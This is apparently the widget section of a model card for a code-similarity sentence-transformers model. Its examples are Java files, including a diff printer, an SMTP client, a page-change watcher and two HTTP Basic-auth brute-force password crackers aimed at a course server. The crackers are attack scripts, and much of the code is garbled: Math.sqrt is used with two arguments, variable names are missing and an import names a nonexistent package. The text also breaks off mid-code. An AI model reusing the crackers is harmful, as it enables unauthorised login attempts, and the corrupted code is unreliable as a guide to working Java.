File size: 174,562 Bytes
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---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:30069
- loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\
    \n\ninterface UnaryPredicate {\n  boolean execute(Object obj);\n}\n\n\npublic\
    \ class DiffPrint {\n  \n  static String outFile=\"\";\n\n  public static abstract\
    \ class Base {\n    protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n    \
    \  outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\
    \ e)\n\t{\n\t\te.printStackTrace();\n\t}\n      file0 = a;\n      file1 = b;\n\
    \    }\n    \n    protected UnaryPredicate ignore = null;\n\n    \n    protected\
    \ Object[] file0, file1;\n\n    \n    public void print_script(Diff.change script)\
    \ {\n      Diff.change next = script;\n\n      while (next != null)\n        {\n\
    \          Diff.change t, end;\n\n          \n          t = next;\n          end\
    \ = hunkfun(next);\n\n          \n          next = end;\n          end = null;\n\
    \          \n          \n\n          \n          print_hunk(t);\n\n          \n\
    \          end = next;\n        }\n        outfile.flush();\n    }\n\n    \n\n\
    \    protected Diff.change hunkfun(Diff.change hunk) {\n      return hunk;\n \
    \   }\n\n    protected int first0, last0, first1, last1, deletes, inserts;\n \
    \   protected PrintWriter outfile;\n\n    \n\n    protected void analyze_hunk(Diff.change\
    \ hunk) {\n      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n   \
    \   int i;\n      Diff.change next;\n      boolean nontrivial = (ignore == null);\n\
    \n      show_from = show_to = 0;\n\n      f0 = hunk.line0;\n      f1 = hunk.line1;\n\
    \n      for (next = hunk; next != null; next = next.next())\n        {\n     \
    \     l0 = next.line0 + next.deleted - 1;\n          l1 = next.line1 + next.inserted\
    \ - 1;\n          show_from += next.deleted;\n          show_to += next.inserted;\n\
    \          for (i = next.line0; i <= l0 && ! nontrivial; i++)\n            if\
    \ (!ignore.execute(file0[i]))\n              nontrivial = true;\n          for\
    \ (i = next.line1; i <= l1 && ! nontrivial; i++)\n            if (!ignore.execute(file1[i]))\n\
    \              nontrivial = true;\n        }\n\n      first0 = f0;\n      last0\
    \ = l0;\n      first1 = f1;\n      last1 = l1;\n\n      \n\n      if (!nontrivial)\n\
    \        show_from = show_to = 0;\n\n      deletes = show_from;\n      inserts\
    \ = show_to;\n    }\n\n    \n    protected void print_header(String filea, String\
    \ fileb) { }\n\n    protected abstract void print_hunk(Diff.change hunk);\n  \
    \  \n    protected void print_1_line(String pre,Object linbuf) {\n      outfile.println(pre\
    \ + linbuf.toString());\n    }\n\n    \n\n    protected void print_number_range\
    \ (char sepchar, int a, int b) {\n      \n      if (++b > ++a)\n        outfile.print(\"\
    \" + a + sepchar + b);\n      else\n        outfile.print(b);\n    }\n\n    public\
    \ static char change_letter(int inserts, int deletes) {\n      if (inserts ==\
    \ 0)\n        return 'd';\n      else if (deletes == 0)\n        return 'a';\n\
    \      else\n        return 'c';\n    }\n  }\n\n  \n  public static class NormalPrint\
    \ extends Base {\n\n    public NormalPrint(Object[] a,Object[] b) {\n      super(a,b);\n\
    \    }\n\n    \n\n    protected void print_hunk (Diff.change hunk) {\n\n     \
    \ \n      analyze_hunk(hunk);\n      if (deletes == 0 && inserts == 0)\n     \
    \   return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.print(change_letter(inserts,\
    \ deletes));\n      print_number_range (',', first1, last1);\n      outfile.println();\n\
    \n      \n      if (deletes != 0)\n        for (int i = first0; i <= last0; i++)\n\
    \          print_1_line (\"< \", file0[i]);\n\n      if (inserts != 0 && deletes\
    \ != 0)\n        outfile.println(\"---\");\n\n      \n      if (inserts != 0)\n\
    \        for (int i = first1; i <= last1; i++)\n          print_1_line (\"> \"\
    , file1[i]);\n    }\n  }\n\n  \n  public static class EdPrint extends Base {\n\
    \n    public EdPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n  \
    \  \n    protected void print_hunk(Diff.change hunk) {\n\n      \n      analyze_hunk\
    \ (hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\
    \      print_number_range (',', first0, last0);\n      outfile.println(change_letter(inserts,\
    \ deletes));\n\n      \n      if (inserts != 0)\n        {\n          boolean\
    \ inserting = true;\n          for (int i = first1; i <= last1; i++)\n       \
    \     {\n              \n              if (! inserting)\n                outfile.println(i\
    \ - first1 + first0 + \"a\");\n              inserting = true;\n\n           \
    \   \n\n              if (\".\".equals(file1[i]))\n                {\n       \
    \           outfile.println(\"..\");\n                  outfile.println(\".\"\
    );\n                  \n                  outfile.println(i - first1 + first0\
    \ + 1 + \"s/^\\\\.\\\\././\");\n                  inserting = false;\n       \
    \         }\n              else\n                \n                print_1_line\
    \ (\"\", file1[i]);\n            }\n\n          \n          if (inserting)\n \
    \           outfile.println(\".\");\n        }\n    }\n  }\n\n  \n  public static\
    \ class ContextPrint extends Base {\n\n    protected int context = 3;\n\n    public\
    \ ContextPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    protected\
    \ void print_context_label (String cad, File inf, String label) {\n      if (label\
    \ != null)\n        outfile.println(cad + ' ' + label);\n      else if (inf.lastModified()\
    \ > 0)\n        \n        outfile.println(\n          cad + ' ' + inf.getPath()\
    \ + '\\t' + new Date(inf.lastModified())\n        );\n      else\n        \n \
    \       outfile.println( cad + ' ' + inf.getPath());\n    }\n\n    public void\
    \ print_header(String filea,String fileb) {\n      print_context_label (\"***\"\
    , new File(filea), filea);\n      print_context_label (\"---\", new File(fileb),\
    \ fileb);\n    }\n\n    \n    private String find_function(Object[] lines, int\
    \ x) {\n      return null;\n    }\n\n    protected void print_function(Object[]\
    \ file,int x) {\n      String function = find_function (file0, first0);\n    \
    \  if (function != null) {\n        outfile.print(\" \");\n        outfile.print(\n\
    \          (function.length() < 40) ? function : function.substring(0,40)\n  \
    \      );\n      }\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n\
    \n      \n\n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts ==\
    \ 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context,\
    \ 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0\
    \ + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length\
    \ - 1);\n\n\n      outfile.print(\"***************\");\n\n      \n      print_function\
    \ (file0, first0);\n\n      outfile.println();\n      outfile.print(\"*** \");\n\
    \      print_number_range (',', first0, last0);\n      outfile.println(\" ****\"\
    );\n\n      if (deletes != 0) {\n        Diff.change next = hunk;\n\n        for\
    \ (int i = first0; i <= last0; i++) {\n          \n\n          while (next !=\
    \ null && next.line0 + next.deleted <= i)\n            next = next.next;\n\n \
    \         \n\n          String prefix = \" \";\n          if (next != null &&\
    \ next.line0 <= i)\n            \n            prefix = (next.inserted > 0) ? \"\
    !\" : \"-\";\n\n          print_1_line (prefix, file0[i]);\n        }\n      }\n\
    \n      outfile.print(\"--- \");\n      print_number_range (',', first1, last1);\n\
    \      outfile.println(\" ----\");\n\n      if (inserts != 0) {\n        Diff.change\
    \ next = hunk;\n\n        for (int i = first1; i <= last1; i++) {\n          \n\
    \n          while (next != null && next.line1 + next.inserted <= i)\n        \
    \    next = next.next;\n\n          \n\n          String prefix = \" \";\n   \
    \       if (next != null && next.line1 <= i)\n            \n            prefix\
    \ = (next.deleted > 0) ? \"!\" : \"+\";\n\n          print_1_line (prefix, file1[i]);\n\
    \        }\n      }\n    }\n  }\n\n  \n  public static class UnifiedPrint extends\
    \ ContextPrint {\n\n    public UnifiedPrint(Object[] a,Object[] b) {\n      super(a,b);\n\
    \    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label\
    \ (\"---\", new File(filea), filea);\n      print_context_label (\"+++\", new\
    \ File(fileb), fileb);\n    }\n\n    private void print_number_range (int a, int\
    \ b) {\n      \n\n      \n      if (b < a)\n        outfile.print(b + \",0\");\n\
    \      else\n        super.print_number_range(',',a,b);\n    }\n\n    protected\
    \ void print_hunk(Diff.change hunk) {\n      \n      analyze_hunk (hunk);\n\n\
    \      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0\
    \ = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context,\
    \ 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1\
    \ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n      outfile.print(\"\
    @@ -\");\n      print_number_range (first0, last0);\n      outfile.print(\" +\"\
    );\n      print_number_range (first1, last1);\n      outfile.print(\" @@\");\n\
    \n      \n      print_function(file0,first0);\n\n      outfile.println();\n\n\
    \      Diff.change next = hunk;\n      int i = first0;\n      int j = first1;\n\
    \n      while (i <= last0 || j <= last1) {\n\n        \n\n        if (next ==\
    \ null || i < next.line0) {\n          outfile.print(' ');\n          print_1_line(\"\
    \", file0[i++]);\n          j++;\n        }\n        else {\n          \n\n  \
    \        int k = next.deleted;\n          while (k-- > 0) {\n            outfile.print('-');\n\
    \            print_1_line(\"\", file0[i++]);\n          }\n\n          \n\n  \
    \        k = next.inserted;\n          while (k-- > 0) {\n            outfile.print('+');\n\
    \            print_1_line(\"\", file1[j++]);\n          }\n\n          \n\n  \
    \        next = next.next;\n        }\n      }\n    }\n  }\n\n\n  \n  static String[]\
    \ slurp(String file) throws IOException {\n    BufferedReader rdr = new BufferedReader(new\
    \ FileReader(file));\n    Vector s = new Vector();\n    for (;;) {\n      String\
    \ line = rdr.readLine();\n      if (line == null) break;\n      s.addElement(line);\n\
    \    }\n    String[] a = new String[s.size()];\n    s.copyInto(a);\n    return\
    \ a;\n  }\n\n\n  public static String getDiff(String filea,String fileb,String\
    \ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\
    \tString[] a = slurp(filea);\n    String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\
    \    Diff d = new Diff(a,b);\n    char style = 'n';\n    for (int i = 0; i < argv.length\
    \ - 2; ++i) {\n      String f = argv[i];\n      if (f.startsWith(\"-\")) {\n \
    \       for (int j = 1; j < f.length(); ++j) {\n          switch (f.charAt(j))\
    \ {\n           case 'e':     \n            style = 'e'; break;\n            case\
    \ 'c':     \n            style = 'c'; break;\n          case  'u':\n         \
    \   style = 'u'; break;\n          }\n        }\n      }\n    }\n    boolean reverse\
    \ = style == 'e';\n    Diff.change script = d.diff_2(reverse);\n    if (script\
    \ == null)\n      msg=\"The text  the  has not changed.\\n\";\n    else {\n  \
    \  Base p;\n      msg=\"The text  the  has changed.\\n The Diff Output is : \\\
    n\\n\";\n      switch (style) {\n      case 'e':\n        p = new EdPrint(a,b);\
    \ break;\n       case'c':\n        p = new ContextPrint(a,b); break;\n      case\
    \ 'u':\n        p = new UnifiedPrint(a,b); break;\n      default:\n        p =\
    \ new NormalPrint(a,b);\n      }\n      p.print_header(filea,fileb);\n      p.print_script(script);\n\
    \    }\n\treturn msg;\n  }\n}\n"
  sentences:
  - "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate\
    \ String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender,\
    \ String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient\
    \ = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject,\
    \ String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\t\
    is = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream  = null;\n\
    \n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\t\
    os = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader\
    \ response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"\
    HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\
    \n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\
    \n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\
    \n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\
    \\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\
    \t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"\
    Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"\
    <EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"\
    got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader\
    \ response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\
    \n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\t\
    if(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}"
  - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n   public\
    \ static void main(String[] args) {\n      new CrackAttempt();\n   }\n}\n\nclass\
    \ CrackAttempt {\n   public CrackAttempt() {\n      final int MAX_LENGTH = 3;\n\
    \      boolean auth = false;\n      Date  = new Date();\n      boolean morePasswords\
    \ = true;\n      int passPtr = 0;\n      StringBuffer validChars = new StringBuffer(\"\
    abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n      char[] password\
    \ = new char[MAX_LENGTH];\n\n      password[0] = validChars.charAt(0);\n     \
    \ while (!auth && morePasswords) {\n         String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
    ;\n         try {\n            \n            Authenticator.setDefault(new CrackAuth(password));\n\
    \            URL url = new URL(resource);\n            HttpURLConnection conn\
    \ = (HttpURLConnection)url.openConnection();\n            conn.setRequestMethod(\"\
    HEAD\");\n            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
    \ {\n               System.out.println(\"cracked with \" + new String(password));\n\
    \               auth = true;\n            }\n         } catch (Exception e) {\n\
    \            System.out.println(\" was  exception: \" + e.getMessage());\n   \
    \      }\n         int count = passPtr;\n         while (true) {\n           \
    \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n     \
    \          password[count] = validChars.charAt(0);\n               count--;\n\
    \            } else {\n               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
    \ + 1);\n               break;\n            }\n            if (count < 0) {\n\
    \               \n               if (passPtr < MAX_LENGTH - 1) {\n           \
    \       passPtr++;\n                  password[passPtr] = validChars.charAt(0);\n\
    \               } else {\n                  morePasswords = false;\n         \
    \      }\n               break;\n            }\n         }\n         \n      }\
    \ \n      if (!auth) {\n         System.out.println(\"Unable  determine password\"\
    );\n      } else {\n          time = (new Date()).getTime() - start.getTime();\n\
    \         System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
    \  crack the password\");\n      }\n   }\n}\n\nclass CrackAuth extends Authenticator\
    \ {\n   char[] password;\n   public CrackAuth(char[] password) {\n      this.password\
    \ = password;\n   }\n\n   protected PasswordAuthentication getPasswordAuthentication()\n\
    \   {\n      String user = \"\";\n      return new PasswordAuthentication(user,\
    \ password);\n   }\n}\n"
  - "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n  public\
    \ WatchDog() {\n\n  }\n  public static void  main(String args[]) {\n    DataInputStream\
    \ newin;\n\n    try{\n\n\n      System.out.println(\"Downloading first copy\"\
    );\n      Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\
    \ oldfile.html\");\n      String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\
    \ newfile.html > Diff.txt\"};\n      String[] cmdMail = {\"//sh\", \"-c\", \"\
    mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n      while(true){\n\
    \            Thread.sleep(24*60*60*1000);\n            System.out.println(\"Downloading\
    \ new copy\");\n            Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\
    \ -O newfile.html\");\n            Thread.sleep(2000);\n            Runtime.getRuntime().exec(cmdDiff);\n\
    \            Thread.sleep(2000);\n            newin = new DataInputStream( new\
    \ FileInputStream( \"Diff.txt\"));\n            if (newin.readLine() != null){\n\
    \               System.out.println(\"Sending Mail\");\n               Runtime.getRuntime().exec(cmdMail);\n\
    \               Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\
    \n            }\n        }\n\n    }\n    catch(Exception e){\n      e.printStackTrace();\n\
    \    }\n\n    }\n\n}"
- source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\
    \n\ninterface UnaryPredicate {\n  boolean execute(Object obj);\n}\n\n\npublic\
    \ class DiffPrint {\n  \n  static String outFile=\"\";\n\n  public static abstract\
    \ class Base {\n    protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n    \
    \  outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\
    \ e)\n\t{\n\t\te.printStackTrace();\n\t}\n      file0 = a;\n      file1 = b;\n\
    \    }\n    \n    protected UnaryPredicate ignore = null;\n\n    \n    protected\
    \ Object[] file0, file1;\n\n    \n    public void print_script(Diff.change script)\
    \ {\n      Diff.change next = script;\n\n      while (next != null)\n        {\n\
    \          Diff.change t, end;\n\n          \n          t = next;\n          end\
    \ = hunkfun(next);\n\n          \n          next = end;\n          end = null;\n\
    \          \n          \n\n          \n          print_hunk(t);\n\n          \n\
    \          end = next;\n        }\n        outfile.flush();\n    }\n\n    \n\n\
    \    protected Diff.change hunkfun(Diff.change hunk) {\n      return hunk;\n \
    \   }\n\n    protected int first0, last0, first1, last1, deletes, inserts;\n \
    \   protected PrintWriter outfile;\n\n    \n\n    protected void analyze_hunk(Diff.change\
    \ hunk) {\n      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n   \
    \   int i;\n      Diff.change next;\n      boolean nontrivial = (ignore == null);\n\
    \n      show_from = show_to = 0;\n\n      f0 = hunk.line0;\n      f1 = hunk.line1;\n\
    \n      for (next = hunk; next != null; next = next.next())\n        {\n     \
    \     l0 = next.line0 + next.deleted - 1;\n          l1 = next.line1 + next.inserted\
    \ - 1;\n          show_from += next.deleted;\n          show_to += next.inserted;\n\
    \          for (i = next.line0; i <= l0 && ! nontrivial; i++)\n            if\
    \ (!ignore.execute(file0[i]))\n              nontrivial = true;\n          for\
    \ (i = next.line1; i <= l1 && ! nontrivial; i++)\n            if (!ignore.execute(file1[i]))\n\
    \              nontrivial = true;\n        }\n\n      first0 = f0;\n      last0\
    \ = l0;\n      first1 = f1;\n      last1 = l1;\n\n      \n\n      if (!nontrivial)\n\
    \        show_from = show_to = 0;\n\n      deletes = show_from;\n      inserts\
    \ = show_to;\n    }\n\n    \n    protected void print_header(String filea, String\
    \ fileb) { }\n\n    protected abstract void print_hunk(Diff.change hunk);\n  \
    \  \n    protected void print_1_line(String pre,Object linbuf) {\n      outfile.println(pre\
    \ + linbuf.toString());\n    }\n\n    \n\n    protected void print_number_range\
    \ (char sepchar, int a, int b) {\n      \n      if (++b > ++a)\n        outfile.print(\"\
    \" + a + sepchar + b);\n      else\n        outfile.print(b);\n    }\n\n    public\
    \ static char change_letter(int inserts, int deletes) {\n      if (inserts ==\
    \ 0)\n        return 'd';\n      else if (deletes == 0)\n        return 'a';\n\
    \      else\n        return 'c';\n    }\n  }\n\n  \n  public static class NormalPrint\
    \ extends Base {\n\n    public NormalPrint(Object[] a,Object[] b) {\n      super(a,b);\n\
    \    }\n\n    \n\n    protected void print_hunk (Diff.change hunk) {\n\n     \
    \ \n      analyze_hunk(hunk);\n      if (deletes == 0 && inserts == 0)\n     \
    \   return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.print(change_letter(inserts,\
    \ deletes));\n      print_number_range (',', first1, last1);\n      outfile.println();\n\
    \n      \n      if (deletes != 0)\n        for (int i = first0; i <= last0; i++)\n\
    \          print_1_line (\"< \", file0[i]);\n\n      if (inserts != 0 && deletes\
    \ != 0)\n        outfile.println(\"---\");\n\n      \n      if (inserts != 0)\n\
    \        for (int i = first1; i <= last1; i++)\n          print_1_line (\"> \"\
    , file1[i]);\n    }\n  }\n\n  \n  public static class EdPrint extends Base {\n\
    \n    public EdPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n  \
    \  \n    protected void print_hunk(Diff.change hunk) {\n\n      \n      analyze_hunk\
    \ (hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\
    \      print_number_range (',', first0, last0);\n      outfile.println(change_letter(inserts,\
    \ deletes));\n\n      \n      if (inserts != 0)\n        {\n          boolean\
    \ inserting = true;\n          for (int i = first1; i <= last1; i++)\n       \
    \     {\n              \n              if (! inserting)\n                outfile.println(i\
    \ - first1 + first0 + \"a\");\n              inserting = true;\n\n           \
    \   \n\n              if (\".\".equals(file1[i]))\n                {\n       \
    \           outfile.println(\"..\");\n                  outfile.println(\".\"\
    );\n                  \n                  outfile.println(i - first1 + first0\
    \ + 1 + \"s/^\\\\.\\\\././\");\n                  inserting = false;\n       \
    \         }\n              else\n                \n                print_1_line\
    \ (\"\", file1[i]);\n            }\n\n          \n          if (inserting)\n \
    \           outfile.println(\".\");\n        }\n    }\n  }\n\n  \n  public static\
    \ class ContextPrint extends Base {\n\n    protected int context = 3;\n\n    public\
    \ ContextPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    protected\
    \ void print_context_label (String cad, File inf, String label) {\n      if (label\
    \ != null)\n        outfile.println(cad + ' ' + label);\n      else if (inf.lastModified()\
    \ > 0)\n        \n        outfile.println(\n          cad + ' ' + inf.getPath()\
    \ + '\\t' + new Date(inf.lastModified())\n        );\n      else\n        \n \
    \       outfile.println( cad + ' ' + inf.getPath());\n    }\n\n    public void\
    \ print_header(String filea,String fileb) {\n      print_context_label (\"***\"\
    , new File(filea), filea);\n      print_context_label (\"---\", new File(fileb),\
    \ fileb);\n    }\n\n    \n    private String find_function(Object[] lines, int\
    \ x) {\n      return null;\n    }\n\n    protected void print_function(Object[]\
    \ file,int x) {\n      String function = find_function (file0, first0);\n    \
    \  if (function != null) {\n        outfile.print(\" \");\n        outfile.print(\n\
    \          (function.length() < 40) ? function : function.substring(0,40)\n  \
    \      );\n      }\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n\
    \n      \n\n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts ==\
    \ 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context,\
    \ 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0\
    \ + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length\
    \ - 1);\n\n\n      outfile.print(\"***************\");\n\n      \n      print_function\
    \ (file0, first0);\n\n      outfile.println();\n      outfile.print(\"*** \");\n\
    \      print_number_range (',', first0, last0);\n      outfile.println(\" ****\"\
    );\n\n      if (deletes != 0) {\n        Diff.change next = hunk;\n\n        for\
    \ (int i = first0; i <= last0; i++) {\n          \n\n          while (next !=\
    \ null && next.line0 + next.deleted <= i)\n            next = next.next;\n\n \
    \         \n\n          String prefix = \" \";\n          if (next != null &&\
    \ next.line0 <= i)\n            \n            prefix = (next.inserted > 0) ? \"\
    !\" : \"-\";\n\n          print_1_line (prefix, file0[i]);\n        }\n      }\n\
    \n      outfile.print(\"--- \");\n      print_number_range (',', first1, last1);\n\
    \      outfile.println(\" ----\");\n\n      if (inserts != 0) {\n        Diff.change\
    \ next = hunk;\n\n        for (int i = first1; i <= last1; i++) {\n          \n\
    \n          while (next != null && next.line1 + next.inserted <= i)\n        \
    \    next = next.next;\n\n          \n\n          String prefix = \" \";\n   \
    \       if (next != null && next.line1 <= i)\n            \n            prefix\
    \ = (next.deleted > 0) ? \"!\" : \"+\";\n\n          print_1_line (prefix, file1[i]);\n\
    \        }\n      }\n    }\n  }\n\n  \n  public static class UnifiedPrint extends\
    \ ContextPrint {\n\n    public UnifiedPrint(Object[] a,Object[] b) {\n      super(a,b);\n\
    \    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label\
    \ (\"---\", new File(filea), filea);\n      print_context_label (\"+++\", new\
    \ File(fileb), fileb);\n    }\n\n    private void print_number_range (int a, int\
    \ b) {\n      \n\n      \n      if (b < a)\n        outfile.print(b + \",0\");\n\
    \      else\n        super.print_number_range(',',a,b);\n    }\n\n    protected\
    \ void print_hunk(Diff.change hunk) {\n      \n      analyze_hunk (hunk);\n\n\
    \      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0\
    \ = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context,\
    \ 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1\
    \ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n      outfile.print(\"\
    @@ -\");\n      print_number_range (first0, last0);\n      outfile.print(\" +\"\
    );\n      print_number_range (first1, last1);\n      outfile.print(\" @@\");\n\
    \n      \n      print_function(file0,first0);\n\n      outfile.println();\n\n\
    \      Diff.change next = hunk;\n      int i = first0;\n      int j = first1;\n\
    \n      while (i <= last0 || j <= last1) {\n\n        \n\n        if (next ==\
    \ null || i < next.line0) {\n          outfile.print(' ');\n          print_1_line(\"\
    \", file0[i++]);\n          j++;\n        }\n        else {\n          \n\n  \
    \        int k = next.deleted;\n          while (k-- > 0) {\n            outfile.print('-');\n\
    \            print_1_line(\"\", file0[i++]);\n          }\n\n          \n\n  \
    \        k = next.inserted;\n          while (k-- > 0) {\n            outfile.print('+');\n\
    \            print_1_line(\"\", file1[j++]);\n          }\n\n          \n\n  \
    \        next = next.next;\n        }\n      }\n    }\n  }\n\n\n  \n  static String[]\
    \ slurp(String file) throws IOException {\n    BufferedReader rdr = new BufferedReader(new\
    \ FileReader(file));\n    Vector s = new Vector();\n    for (;;) {\n      String\
    \ line = rdr.readLine();\n      if (line == null) break;\n      s.addElement(line);\n\
    \    }\n    String[] a = new String[s.size()];\n    s.copyInto(a);\n    return\
    \ a;\n  }\n\n\n  public static String getDiff(String filea,String fileb,String\
    \ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\
    \tString[] a = slurp(filea);\n    String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\
    \    Diff d = new Diff(a,b);\n    char style = 'n';\n    for (int i = 0; i < argv.length\
    \ - 2; ++i) {\n      String f = argv[i];\n      if (f.startsWith(\"-\")) {\n \
    \       for (int j = 1; j < f.length(); ++j) {\n          switch (f.charAt(j))\
    \ {\n           case 'e':     \n            style = 'e'; break;\n            case\
    \ 'c':     \n            style = 'c'; break;\n          case  'u':\n         \
    \   style = 'u'; break;\n          }\n        }\n      }\n    }\n    boolean reverse\
    \ = style == 'e';\n    Diff.change script = d.diff_2(reverse);\n    if (script\
    \ == null)\n      msg=\"The text  the  has not changed.\\n\";\n    else {\n  \
    \  Base p;\n      msg=\"The text  the  has changed.\\n The Diff Output is : \\\
    n\\n\";\n      switch (style) {\n      case 'e':\n        p = new EdPrint(a,b);\
    \ break;\n       case'c':\n        p = new ContextPrint(a,b); break;\n      case\
    \ 'u':\n        p = new UnifiedPrint(a,b); break;\n      default:\n        p =\
    \ new NormalPrint(a,b);\n      }\n      p.print_header(filea,fileb);\n      p.print_script(script);\n\
    \    }\n\treturn msg;\n  }\n}\n"
  sentences:
  - "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\
    \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\
    \ {\n  \n  static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\
    .toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String\
    \ url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n\
    \  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n\
    \  public String getNextPassword(){\n    String nextPassword = \"\";\n    for(int\
    \ i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n\
    \        return null;\n      if(indices[i] == passwordDataSet.length ){\n    \
    \    indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\
    \n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n\
    \  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n\
    \    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public\
    \ void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n\
    \  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n\
    \    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome\
    \ = null;\n    String  authorization = null;\n    String password = null;\n  \
    \  BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n\
    \    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!\"\
    HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n\
    \      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n\
    \      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty(\"\
